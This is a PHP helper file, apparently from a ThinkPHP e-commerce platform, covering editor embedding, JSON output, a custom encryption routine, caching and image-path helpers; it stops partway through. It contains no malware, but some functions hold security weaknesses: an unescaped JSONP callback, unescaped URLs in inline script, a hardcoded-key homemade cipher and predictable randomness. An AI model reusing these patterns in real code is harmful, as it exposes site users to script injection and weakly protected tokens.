common.php 39 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274
  1. <?php
  2. use think\facade\Cache;
  3. use think\facade\Db;
  4. use think\facade\Log;
  5. /* 引用全局定义 */
  6. require __DIR__ . '/common_global.php';
  7. /* 商品相关调用 */
  8. require __DIR__ . '/common_goods.php';
  9. /* 图片上传、生成缩略图、删除等操作调用 */
  10. require __DIR__ . '/common_upload.php';
  11. function ds_validate($name)
  12. {
  13. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  14. return strtoupper($matches[2]);
  15. }, $name);
  16. $class_name = '\app\common\validate\\' . ucfirst($name);
  17. return new $class_name;
  18. }
  19. function model($name, $layer = 'model')
  20. {
  21. $name = preg_replace_callback('/([-_]+([a-z]{1}))/i', function ($matches) {
  22. return strtoupper($matches[2]);
  23. }, $name);
  24. $class_name = '\app\common\\' . $layer . '\\' . ucfirst($name);
  25. return new $class_name;
  26. }
  27. /*
  28. * 更换数组的键值 为了应对 ->key
  29. */
  30. function ds_change_arraykey($array, $key)
  31. {
  32. $data = array();
  33. foreach ($array as $value) {
  34. $data[$value[$key]] = $value;
  35. }
  36. return $data;
  37. }
  38. /**
  39. *
  40. * @param type $table 数据表
  41. * @param type $field 条件对应的字段
  42. * @param type $name 条件对应的值
  43. * @param type $value 数值
  44. * @return type
  45. */
  46. function ds_getvalue_byname($table, $field, $name, $value)
  47. {
  48. return Db::name($table)->where($field, $name)->value($value);
  49. }
  50. /*
  51. * 编辑器内容
  52. */
  53. function build_editor($params = array())
  54. {
  55. $name = isset($params['name']) ? $params['name'] : null;
  56. $theme = isset($params['theme']) ? $params['theme'] : 'normal';
  57. $content = isset($params['content']) ? $params['content'] : null;
  58. //http://fex.baidu.com/ueditor/#start-toolbar
  59. /* 指定使用哪种主题 */
  60. $themes = array(
  61. 'normal' => "[
  62. 'fullscreen', 'source', '|', 'undo', 'redo', '|',
  63. 'bold', 'italic', 'underline', 'fontborder', 'strikethrough', 'superscript', 'subscript', 'removeformat', 'formatmatch', 'autotypeset', 'blockquote', 'pasteplain', '|', 'forecolor', 'backcolor', 'insertorderedlist', 'insertunorderedlist', 'selectall', 'cleardoc', '|',
  64. 'rowspacingtop', 'rowspacingbottom', 'lineheight', '|',
  65. 'customstyle', 'paragraph', 'fontfamily', 'fontsize', '|',
  66. 'directionalityltr', 'directionalityrtl', 'indent', '|',
  67. 'justifyleft', 'justifycenter', 'justifyright', 'justifyjustify', '|', 'touppercase', 'tolowercase', '|',
  68. 'link', 'unlink', 'anchor', '|', 'imagenone', 'imageleft', 'imageright', 'imagecenter', '|',
  69. 'emotion', 'map', 'gmap', 'insertcode', 'template', '|',
  70. 'horizontal', 'date', 'time', 'spechars', '|',
  71. 'inserttable', 'deletetable', 'insertparagraphbeforetable', 'insertrow', 'deleterow', 'insertcol', 'deletecol', 'mergecells', 'mergeright', 'mergedown', 'splittocells', 'splittorows', 'splittocols', 'charts', '|',
  72. 'searchreplace', 'help', 'drafts', 'charts'
  73. ]", 'simple' => " ['fullscreen', 'source', 'undo', 'redo', 'bold']",
  74. );
  75. switch ($theme) {
  76. case 'simple':
  77. $theme_config = $themes['simple'];
  78. break;
  79. case 'normal':
  80. $theme_config = $themes['normal'];
  81. break;
  82. default:
  83. $theme_config = $themes['normal'];
  84. break;
  85. }
  86. /* 配置界面语言 */
  87. switch (config('lang.default_lang')) {
  88. case 'zh-cn':
  89. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  90. break;
  91. case 'en-us':
  92. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/en/en.js';
  93. break;
  94. default:
  95. $lang = PLUGINS_SITE_ROOT . '/ueditor/lang/zh-cn/zh-cn.js';
  96. break;
  97. }
  98. $include_js = '<script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.config.js"></script> <script type="text/javascript" charset="utf-8" src="' . PLUGINS_SITE_ROOT . '/ueditor/ueditor.all.min.js""> </script><script type="text/javascript" charset="utf-8" src="' . $lang . '"></script>';
  99. $content = json_encode($content);
  100. $str = <<<EOT
  101. $include_js
  102. <script type="text/javascript">
  103. var ue = UE.getEditor('{$name}',{
  104. toolbars:[{$theme_config}],
  105. });
  106. if($content){
  107. ue.ready(function() {
  108. this.setContent($content);
  109. })
  110. }
  111. </script>
  112. EOT;
  113. return $str;
  114. }
  115. /**
  116. *
  117. * @param type $code 100000表示为正确,其他为错误代码
  118. * @param type $message 提示消息
  119. * @param type $result 返回数据
  120. * @param type $$requestMethod 返回请求Method
  121. */
  122. function ds_json_encode($code, $message = '', $result = '', $requestMethod = '', $if_exit = true)
  123. {
  124. $data = array('code' => $code, 'message' => $message, 'result' => $result, 'requestMethod' => $requestMethod);
  125. if (!empty($_GET['callback'])) {
  126. echo $_GET['callback'] . '(' . json_encode($data) . ')';
  127. } else {
  128. echo json_encode($data);
  129. }
  130. if ($if_exit) {
  131. exit;
  132. }
  133. }
  134. /**
  135. * 规范数据返回函数
  136. * @param unknown $code
  137. * @param unknown $msg
  138. * @param unknown $data
  139. * @return multitype:unknown
  140. */
  141. function ds_callback($code, $msg = '', $data = array())
  142. {
  143. return array('code' => $code, 'msg' => $msg, 'data' => $data);
  144. }
  145. /**
  146. * 格式化字节大小
  147. * @param number $size 字节数
  148. * @param string $delimiter 数字和单位分隔符
  149. * @return string 格式化后的带单位的大小
  150. */
  151. function format_bytes($size, $delimiter = '')
  152. {
  153. $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB');
  154. for ($i = 0; $size >= 1024 && $i < 5; $i++)
  155. $size /= 1024;
  156. return round($size, 2) . $delimiter . $units[$i];
  157. }
  158. /**
  159. * 消息提示,主要适用于普通页面AJAX提交的情况
  160. *
  161. * @param string $message 消息内容
  162. * @param string $url 提示完后的URL去向
  163. * @param stting $alert_type 提示类型 error/succ/notice 分别为错误/成功/警示
  164. * @param string $extrajs 扩展JS
  165. * @param int $time 停留时间
  166. */
  167. function ds_show_dialog($message = '', $url = '', $alert_type = 'error', $extrajs = '', $time = 2)
  168. {
  169. $message = str_replace("'", "\\'", strip_tags($message));
  170. $paramjs = null;
  171. if ($url == 'reload') {
  172. $paramjs = 'window.location.reload()';
  173. } elseif ($url != '') {
  174. $paramjs = 'window.location.href =\'' . $url . '\'';
  175. }
  176. if ($paramjs) {
  177. $paramjs = 'function (){' . $paramjs . '}';
  178. } else {
  179. $paramjs = 'null';
  180. }
  181. $modes = array('error' => 'alert', 'succ' => 'succ', 'notice' => 'notice', 'js' => 'js');
  182. $cover = $alert_type == 'error' ? 1 : 0;
  183. $extra = 'showDialog(\'' . $message . '\', \'' . $modes[$alert_type] . '\', null, ' . ($paramjs ? $paramjs : 'null') . ', ' . $cover . ', null, null, null, null, ' . (is_numeric($time) ? $time : 'null') . ', null);';
  184. $extra = '<script type="text/javascript" reload="1">' . $extra . '</script>';
  185. if ($extrajs != '' && substr(trim($extrajs), 0, 7) != '<script') {
  186. $extrajs = '<script type="text/javascript" reload="1">' . $extrajs . '</script>';
  187. }
  188. $extra .= $extrajs;
  189. ob_end_clean();
  190. @header("Expires: -1");
  191. @header("Cache-Control: no-store, private, post-check=0, pre-check=0, max-age=0", FALSE);
  192. @header("Pragma: no-cache");
  193. @header("Content-type: text/xml; charset=utf-8");
  194. $string = '<?xml version="1.0" encoding="utf-8"?>' . "\r\n";
  195. $string .= '<root><![CDATA[' . $message . $extra . ']]></root>';
  196. echo $string;
  197. exit;
  198. }
  199. /**
  200. * 取上一步来源地址
  201. *
  202. * @param
  203. * @return string 字符串类型的返回结果
  204. */
  205. function get_referer()
  206. {
  207. return empty($_SERVER['HTTP_REFERER']) ? '' : $_SERVER['HTTP_REFERER'];
  208. }
  209. /**
  210. * 加密函数
  211. *
  212. * @param string $txt 需要加密的字符串
  213. * @param string $key 密钥
  214. * @return string 返回加密结果
  215. */
  216. function ds_encrypt($txt, $key = '')
  217. {
  218. if (empty($txt))
  219. return $txt;
  220. if (empty($key))
  221. $key = md5(config('ds_config.setup_date'));
  222. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  223. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  224. $nh1 = rand(0, 64);
  225. $nh2 = rand(0, 64);
  226. $nh3 = rand(0, 64);
  227. $ch1 = $chars{
  228. $nh1};
  229. $ch2 = $chars{
  230. $nh2};
  231. $ch3 = $chars{
  232. $nh3};
  233. $nhnum = $nh1 + $nh2 + $nh3;
  234. $knum = 0;
  235. $i = 0;
  236. while (isset($key{
  237. $i}))
  238. $knum += ord($key{
  239. $i++});
  240. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  241. $txt = base64_encode(TIMESTAMP . '_' . $txt);
  242. $txt = str_replace(array('+', '/', '='), array('-', '_', '.'), $txt);
  243. $tmp = '';
  244. $j = 0;
  245. $k = 0;
  246. $tlen = strlen($txt);
  247. $klen = strlen($mdKey);
  248. for ($i = 0; $i < $tlen; $i++) {
  249. $k = $k == $klen ? 0 : $k;
  250. $j = ($nhnum + strpos($chars, $txt{
  251. $i}) + ord($mdKey{
  252. $k++})) % 64;
  253. $tmp .= $chars{
  254. $j};
  255. }
  256. $tmplen = strlen($tmp);
  257. $tmp = substr_replace($tmp, $ch3, $nh2 % ++$tmplen, 0);
  258. $tmp = substr_replace($tmp, $ch2, $nh1 % ++$tmplen, 0);
  259. $tmp = substr_replace($tmp, $ch1, $knum % ++$tmplen, 0);
  260. return $tmp;
  261. }
  262. /**
  263. * 解密函数
  264. *
  265. * @param string $txt 需要解密的字符串
  266. * @param string $key 密匙
  267. * @return string 字符串类型的返回结果
  268. */
  269. function ds_decrypt($txt, $key = '', $ttl = 0)
  270. {
  271. if (empty($txt))
  272. return $txt;
  273. if (empty($key))
  274. $key = md5(config('ds_config.setup_date'));
  275. $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_.";
  276. $ikey = "-x6g6ZWm2G9g_vr0Bo.pOq3kRIxsZ6rm";
  277. $knum = 0;
  278. $i = 0;
  279. $tlen = @strlen($txt);
  280. while (isset($key{
  281. $i}))
  282. $knum += ord($key{
  283. $i++});
  284. $ch1 = @$txt{
  285. $knum % $tlen};
  286. $nh1 = strpos($chars, $ch1);
  287. $txt = @substr_replace($txt, '', $knum % $tlen--, 1);
  288. $ch2 = @$txt{
  289. $nh1 % $tlen};
  290. $nh2 = @strpos($chars, $ch2);
  291. $txt = @substr_replace($txt, '', $nh1 % $tlen--, 1);
  292. $ch3 = @$txt{
  293. $nh2 % $tlen};
  294. $nh3 = @strpos($chars, $ch3);
  295. $txt = @substr_replace($txt, '', $nh2 % $tlen--, 1);
  296. $nhnum = $nh1 + $nh2 + $nh3;
  297. $mdKey = substr(md5(md5(md5($key . $ch1) . $ch2 . $ikey) . $ch3), $nhnum % 8, $knum % 8 + 16);
  298. $tmp = '';
  299. $j = 0;
  300. $k = 0;
  301. $tlen = @strlen($txt);
  302. $klen = @strlen($mdKey);
  303. for ($i = 0; $i < $tlen; $i++) {
  304. $k = $k == $klen ? 0 : $k;
  305. $j = strpos($chars, $txt{
  306. $i}) - $nhnum - ord($mdKey{
  307. $k++});
  308. while ($j < 0)
  309. $j += 64;
  310. $tmp .= $chars{
  311. $j};
  312. }
  313. $tmp = str_replace(array('-', '_', '.'), array('+', '/', '='), $tmp);
  314. $tmp = trim(base64_decode($tmp));
  315. if (preg_match("/\d{10}_/s", substr($tmp, 0, 11))) {
  316. if ($ttl > 0 && (TIMESTAMP - (int) substr($tmp, 0, 11) > $ttl)) {
  317. $tmp = null;
  318. } else {
  319. $tmp = substr($tmp, 11);
  320. }
  321. }
  322. return $tmp;
  323. }
  324. /**
  325. * 获取文件列表(所有子目录文件)
  326. *
  327. * @param string $path 目录
  328. * @param array $file_list 存放所有子文件的数组
  329. * @param array $ignore_dir 需要忽略的目录或文件
  330. * @return array 数据格式的返回结果
  331. */
  332. function read_file_list($path, &$file_list, $ignore_dir = array())
  333. {
  334. $path = rtrim($path, '/');
  335. if (is_dir($path)) {
  336. $handle = @opendir($path);
  337. if ($handle) {
  338. while (false !== ($dir = readdir($handle))) {
  339. if ($dir != '.' && $dir != '..') {
  340. if (!in_array($dir, $ignore_dir)) {
  341. if (is_file($path . '/' . $dir)) {
  342. $file_list[] = $path . '/' . $dir;
  343. } elseif (is_dir($path . '/' . $dir)) {
  344. read_file_list($path . '/' . $dir, $file_list, $ignore_dir);
  345. }
  346. }
  347. }
  348. }
  349. @closedir($handle);
  350. } else {
  351. return false;
  352. }
  353. } else {
  354. return false;
  355. }
  356. }
  357. /**
  358. * 价格格式化
  359. *
  360. * @param int $price
  361. * @return string $price_format
  362. */
  363. function ds_price_format($price)
  364. {
  365. $price_format = number_format($price, 2, '.', '');
  366. return $price_format;
  367. }
  368. /**
  369. * 价格格式化
  370. *
  371. * @param int $price
  372. * @return string $price_format
  373. */
  374. function ds_price_format_forlist($price)
  375. {
  376. if ($price >= 10000) {
  377. return number_format(floor($price / 100) / 100, 2, '.', '') . lang('ten_thousand');
  378. } else {
  379. return lang('currency') . $price;
  380. }
  381. }
  382. /**
  383. * 通知邮件/通知消息 内容转换函数
  384. *
  385. * @param string $message 内容模板
  386. * @param array $param 内容参数数组
  387. * @return string 通知内容
  388. */
  389. function ds_replace_text($message, $param)
  390. {
  391. if (!is_array($param))
  392. return false;
  393. foreach ($param as $k => $v) {
  394. $message = str_replace('${' . $k . '}', $v, $message);
  395. }
  396. return $message;
  397. }
  398. /** @noinspection InconsistentLineSeparators */
  399. /**
  400. * 字符串切割函数,一个字母算一个位置,一个字算2个位置
  401. *
  402. * @param string $string 待切割的字符串
  403. * @param int $length 切割长度
  404. * @param string $dot 尾缀
  405. */
  406. function str_cut($string, $length, $dot = '')
  407. {
  408. $string = str_replace(array(
  409. '&nbsp;', '&amp;', '&quot;', '&#039;', '&ldquo;', '&rdquo;', '&mdash;', '&lt;', '&gt;',
  410. '&middot;', '&hellip;'
  411. ), array(' ', '&', '"', "'", '“', '”', '—', '<', '>', '·', '…'), $string);
  412. $strlen = strlen($string);
  413. if ($strlen <= $length)
  414. return $string;
  415. $maxi = $length - strlen($dot);
  416. $strcut = '';
  417. $n = $tn = $noc = 0;
  418. while ($n < $strlen) {
  419. $t = ord($string[$n]);
  420. if ($t == 9 || $t == 10 || (32 <= $t && $t <= 126)) {
  421. $tn = 1;
  422. $n++;
  423. $noc++;
  424. } elseif (194 <= $t && $t <= 223) {
  425. $tn = 2;
  426. $n += 2;
  427. $noc += 2;
  428. } elseif (224 <= $t && $t < 239) {
  429. $tn = 3;
  430. $n += 3;
  431. $noc += 2;
  432. } elseif (240 <= $t && $t <= 247) {
  433. $tn = 4;
  434. $n += 4;
  435. $noc += 2;
  436. } elseif (248 <= $t && $t <= 251) {
  437. $tn = 5;
  438. $n += 5;
  439. $noc += 2;
  440. } elseif ($t == 252 || $t == 253) {
  441. $tn = 6;
  442. $n += 6;
  443. $noc += 2;
  444. } else {
  445. $n++;
  446. }
  447. if ($noc >= $maxi)
  448. break;
  449. }
  450. if ($noc > $maxi)
  451. $n -= $tn;
  452. $strcut = substr($string, 0, $n);
  453. $strcut = str_replace(array('&', '"', "'", '<', '>'), array('&amp;', '&quot;', '&#039;', '&lt;', '&gt;'), $strcut);
  454. return $strcut . $dot;
  455. }
  456. /*
  457. * 重写$_SERVER['REQUREST_URI']
  458. */
  459. function request_uri()
  460. {
  461. if (isset($_SERVER['REQUEST_URI'])) {
  462. $uri = $_SERVER['REQUEST_URI'];
  463. } else {
  464. if (isset($_SERVER['argv'])) {
  465. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
  466. } else {
  467. $uri = $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
  468. }
  469. }
  470. return $uri;
  471. }
  472. function get_member_id_by_XDSKEY()
  473. {
  474. $key = request()->header('X-DS-KEY');
  475. if (!$key) {
  476. return;
  477. }
  478. $mbusertoken_model = model('mbusertoken');
  479. $mb_user_token_info = $mbusertoken_model->getMbusertokenInfoByToken($key);
  480. if (empty($mb_user_token_info)) {
  481. return;
  482. } else {
  483. return $mb_user_token_info['member_id'];
  484. }
  485. }
  486. function get_member_idcard_image($member_image)
  487. {
  488. if ($member_image) {
  489. return ds_get_pic(ATTACH_IDCARD_IMAGE, $member_image);
  490. }
  491. return '';
  492. }
  493. /**
  494. * 取得用户头像图片
  495. *
  496. * @param string $member_avatar
  497. * @return string
  498. */
  499. function get_member_avatar($member_avatar)
  500. {
  501. if (empty($member_avatar)) {
  502. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  503. } else {
  504. $url = ds_get_pic(ATTACH_AVATAR, $member_avatar);
  505. if ($url) {
  506. return $url;
  507. } else {
  508. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_user_portrait'));
  509. }
  510. }
  511. }
  512. /**
  513. * 成员头像
  514. * @param string $member_id
  515. * @return string
  516. */
  517. function get_member_avatar_for_id($id)
  518. {
  519. $member_model = model('member');
  520. $member_info = $member_model->getMemberInfoByID($id);
  521. if ($member_info) {
  522. return get_member_avatar($member_info['member_avatar']);
  523. }
  524. }
  525. /**
  526. * 取得店铺标志
  527. *
  528. * @param string $img 图片名
  529. * @param string $type 查询类型 store_logo/store_avatar
  530. * @return string
  531. */
  532. function get_store_logo($img, $type = 'store_avatar')
  533. {
  534. $linfo = explode('_', $img);
  535. $store_id = $linfo['0'];
  536. if ($store_id == 'alioss') {
  537. $store_id = $linfo['1'];
  538. }
  539. if ($type == 'store_avatar') {
  540. if (empty($img)) {
  541. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  542. } else {
  543. $url = ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  544. if (!$url) {
  545. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_avatar'));
  546. } else {
  547. return $url;
  548. }
  549. }
  550. } elseif ($type == 'store_logo') {
  551. if (empty($img)) {
  552. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_store_logo'));
  553. } else {
  554. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  555. }
  556. } elseif ($type == 'store_banner') {
  557. if (!empty($img)) {
  558. return ds_get_pic(ATTACH_STORE . '/' . $store_id, $img);
  559. }
  560. }
  561. }
  562. function get_adv_code($adv_code)
  563. {
  564. $url = ds_get_pic(ATTACH_ADV, $adv_code);
  565. if (!$url) {
  566. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  567. } else {
  568. return $url;
  569. }
  570. }
  571. function get_appadv_code($adv_code)
  572. {
  573. $url = ds_get_pic(ATTACH_APPADV, $adv_code);
  574. if (!$url) {
  575. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  576. } else {
  577. return $url;
  578. }
  579. }
  580. /**
  581. * 获取用户相册图片
  582. * @param type $user_id
  583. * @param type $ap_cover
  584. * @return type
  585. */
  586. function get_snsalbumpic($user_id, $ap_cover)
  587. {
  588. $url = ds_get_pic(ATTACH_MALBUM . '/' . $user_id, $ap_cover);
  589. if (!$url) {
  590. return ds_get_pic(ATTACH_COMMON, config('ds_config.default_goods_image'));
  591. } else {
  592. return $url;
  593. }
  594. }
  595. /**
  596. * 获取开店申请图片
  597. */
  598. function get_store_joinin_imageurl($image_name = '')
  599. {
  600. return ds_get_pic(ATTACH_STORE_JOININ, $image_name);
  601. }
  602. /**
  603. * 获取提货点图片
  604. */
  605. function get_chain_imageurl($image_name = '')
  606. {
  607. return ds_get_pic(ATTACH_CHAIN, $image_name);
  608. }
  609. /**
  610. * 取得随机数
  611. *
  612. * @param int $length 生成随机数的长度
  613. * @param int $numeric 是否只产生数字随机数 1是0否
  614. * @return string
  615. */
  616. function random($length, $numeric = 0)
  617. {
  618. $seed = base_convert(md5(microtime() . $_SERVER['DOCUMENT_ROOT']), 16, $numeric ? 10 : 35);
  619. $seed = $numeric ? (str_replace('0', '', $seed) . '012340567890') : ($seed . 'zZ' . strtoupper($seed));
  620. $hash = '';
  621. $max = strlen($seed) - 1;
  622. for ($i = 0; $i < $length; $i++) {
  623. $hash .= $seed{
  624. mt_rand(0, $max)};
  625. }
  626. return $hash;
  627. }
  628. /**
  629. * sns表情标示符替换为html
  630. */
  631. function parsesmiles($message, $type = 0)
  632. {
  633. if ($type == 1) {
  634. $chat_goods = $message;
  635. $message = '<div class="dstouch-chat-product"> <a href="' . HOME_SITE_URL . '/goods/index?goods_id=' . $chat_goods['goods_id'] . '" target="_blank"><div class="goods-pic"><img src="' . $chat_goods['goods_image_url'] . '" alt=""/></div><div class="goods-info"><div class="goods-name">' . $chat_goods['goods_name'] . '</div><div class="goods-price">¥' . $chat_goods['goods_price'] . "</div></div></a> </div>";
  636. } else {
  637. $file = root_path() . 'extend/smilies.php';
  638. if (file_exists($file)) {
  639. include $file;
  640. if (!empty($smilies_array) && is_array($smilies_array)) {
  641. $imagesurl = PLUGINS_SITE_ROOT . '/js' . '/smilies' . '/images' . '/';
  642. $replace_arr = array();
  643. foreach ($smilies_array['replacearray'] as $key => $smiley) {
  644. $replace_arr[$key] = '<img src="' . $imagesurl . $smiley['imagename'] . '" title="' . $smiley['desc'] . '" border="0" alt="' . $imagesurl . $smiley['desc'] . '" />';
  645. }
  646. $message = preg_replace($smilies_array['searcharray'], $replace_arr, $message);
  647. }
  648. }
  649. }
  650. return $message;
  651. }
  652. /**
  653. * 延时加载分页功能,判断是否有更多连接和limitstart值和经过验证修改的$delay_eachnum值
  654. * @param int $delay_eachnum 延时分页每页显示的条数
  655. * @param int $delay_page 延时分页当前页数
  656. * @param int $count 总记录数
  657. * @param bool $ispage 是否在分页模式中实现延时分页(前台显示的两种不同效果)
  658. * @param int $page_nowpage 分页当前页数
  659. * @param int $page_eachnum 分页每页显示条数
  660. * @param int $page_limitstart 分页初始limit值
  661. * @return array array('hasmore'=>'是否显示更多连接','limitstart'=>'加载的limit开始值','delay_eachnum'=>'经过验证修改的$delay_eachnum值');
  662. */
  663. function lazypage($delay_eachnum, $delay_page, $count, $ispage = false, $page_nowpage = 1, $page_eachnum = 1, $page_limitstart = 1)
  664. {
  665. //是否有多余
  666. $hasmore = true;
  667. $limitstart = 0;
  668. if ($ispage == true) {
  669. if ($delay_eachnum < $page_eachnum) { //当延时加载每页条数小于分页的每页条数时候实现延时加载,否则按照普通分页程序流程处理
  670. $page_totlepage = ceil($count / $page_eachnum);
  671. //计算limit的开始值
  672. $limitstart = $page_limitstart + ($delay_page - 1) * $delay_eachnum;
  673. if ($page_totlepage > $page_nowpage) { //当前不为最后一页
  674. if ($delay_page >= $page_eachnum / $delay_eachnum) {
  675. $hasmore = false;
  676. }
  677. //判断如果分页的每页条数与延时加载每页的条数不能整除的处理
  678. if ($hasmore == false && $page_eachnum % $delay_eachnum > 0) {
  679. $delay_eachnum = $page_eachnum % $delay_eachnum;
  680. }
  681. } else { //当前最后一页
  682. $showcount = ($page_totlepage - 1) * $page_eachnum + $delay_eachnum * $delay_page; //已经显示的记录总数
  683. if ($count <= $showcount) {
  684. $hasmore = false;
  685. }
  686. }
  687. } else {
  688. $hasmore = false;
  689. }
  690. } else {
  691. if ($count <= $delay_page * $delay_eachnum) {
  692. $hasmore = false;
  693. }
  694. //计算limit的开始值
  695. $limitstart = ($delay_page - 1) * $delay_eachnum;
  696. }
  697. return array('hasmore' => $hasmore, 'limitstart' => $limitstart, 'delay_eachnum' => $delay_eachnum);
  698. }
  699. /**
  700. * 返回以原数组某个值为下标的新数据
  701. *
  702. * @param array $array
  703. * @param string $key
  704. * @param int $type 1一维数组2二维数组
  705. * @return array
  706. */
  707. function array_under_reset($array, $key, $type = 1)
  708. {
  709. if (is_array($array)) {
  710. $tmp = array();
  711. foreach ($array as $v) {
  712. if ($type === 1) {
  713. $tmp[$v[$key]] = $v;
  714. } elseif ($type === 2) {
  715. $tmp[$v[$key]][] = $v;
  716. }
  717. }
  718. return $tmp;
  719. } else {
  720. return $array;
  721. }
  722. }
  723. /**
  724. * KV缓存 读
  725. *
  726. * @param string $key 缓存名称
  727. * @param boolean $callback 缓存读取失败时是否使用回调 true代表使用cache.model中预定义的缓存项 默认不使用回调
  728. * @param callable $callback 传递非boolean值时 通过is_callable进行判断 失败抛出异常 成功则将$key作为参数进行回调
  729. * @return mixed
  730. */
  731. function rkcache($key, $callback = false)
  732. {
  733. $value = cache($key);
  734. if (empty($value) && $callback !== false) {
  735. if ($callback === true) {
  736. $callback = array(model('cache'), 'call');
  737. }
  738. if (!is_callable($callback)) {
  739. throw new \think\Exception('Invalid rkcache callback!', 10006);
  740. }
  741. $value = call_user_func($callback, $key);
  742. wkcache($key, $value);
  743. }
  744. return $value;
  745. }
  746. /**
  747. * KV缓存 写
  748. *
  749. * @param string $key 缓存名称
  750. * @param mixed $value 缓存数据 若设为否 则下次读取该缓存时会触发回调(如果有)
  751. * @param int $expire 缓存时间 单位秒 null代表不过期
  752. * @return boolean
  753. */
  754. function wkcache($key, $value, $expire = 7200)
  755. {
  756. return cache($key, $value, $expire);
  757. }
  758. /**
  759. * KV缓存 删
  760. *
  761. * @param string $key 缓存名称
  762. * @return boolean
  763. */
  764. function dkcache($key)
  765. {
  766. return cache($key, NULL);
  767. }
  768. /**
  769. * 读取缓存信息
  770. *
  771. * @param string $key 要取得缓存键
  772. * @param string $prefix 键值前缀
  773. * @return array/bool
  774. */
  775. function rcache($key = null, $prefix = '')
  776. {
  777. if ($key === null || !config('ds_config.cache_open'))
  778. return array();
  779. if (!empty($prefix)) {
  780. $name = $prefix . $key;
  781. } else {
  782. $name = $key;
  783. }
  784. $cache_info = cache($name);
  785. //如果name值不存在,则默认返回 false。
  786. return $cache_info;
  787. }
  788. /**
  789. * 写入缓存
  790. *
  791. * @param string $key 缓存键值
  792. * @param array $data 缓存数据
  793. * @param string $prefix 键值前缀
  794. * @param int $expire 缓存周期 单位分,0为永久缓存
  795. * @return bool 返回值
  796. */
  797. function wcache($key = null, $data = array(), $prefix = '', $expire = 3600)
  798. {
  799. if ($key === null || !config('ds_config.cache_open') || !is_array($data))
  800. return;
  801. if (!empty($prefix)) {
  802. $name = $prefix . $key;
  803. } else {
  804. $name = $key;
  805. }
  806. $cache_info = cache($name, $data, $expire);
  807. //如果设置成功返回true,否则返回false。
  808. return $cache_info;
  809. }
  810. /**
  811. * 删除缓存
  812. * @param string $key 缓存键值
  813. * @param string $prefix 键值前缀
  814. * @return boolean
  815. */
  816. function dcache($key = null, $prefix = '')
  817. {
  818. if ($key === null || !config('ds_config.cache_open'))
  819. return true;
  820. if (!empty($prefix)) {
  821. $name = $prefix . $key;
  822. } else {
  823. $name = $key;
  824. }
  825. return cache($name, NULL);
  826. }
  827. /**
  828. * 输出聊天信息
  829. *
  830. * @return string
  831. */
  832. function get_chat()
  833. {
  834. return Chat::getChatHtml();
  835. }
  836. /**
  837. * 验证是否为平台店铺
  838. *
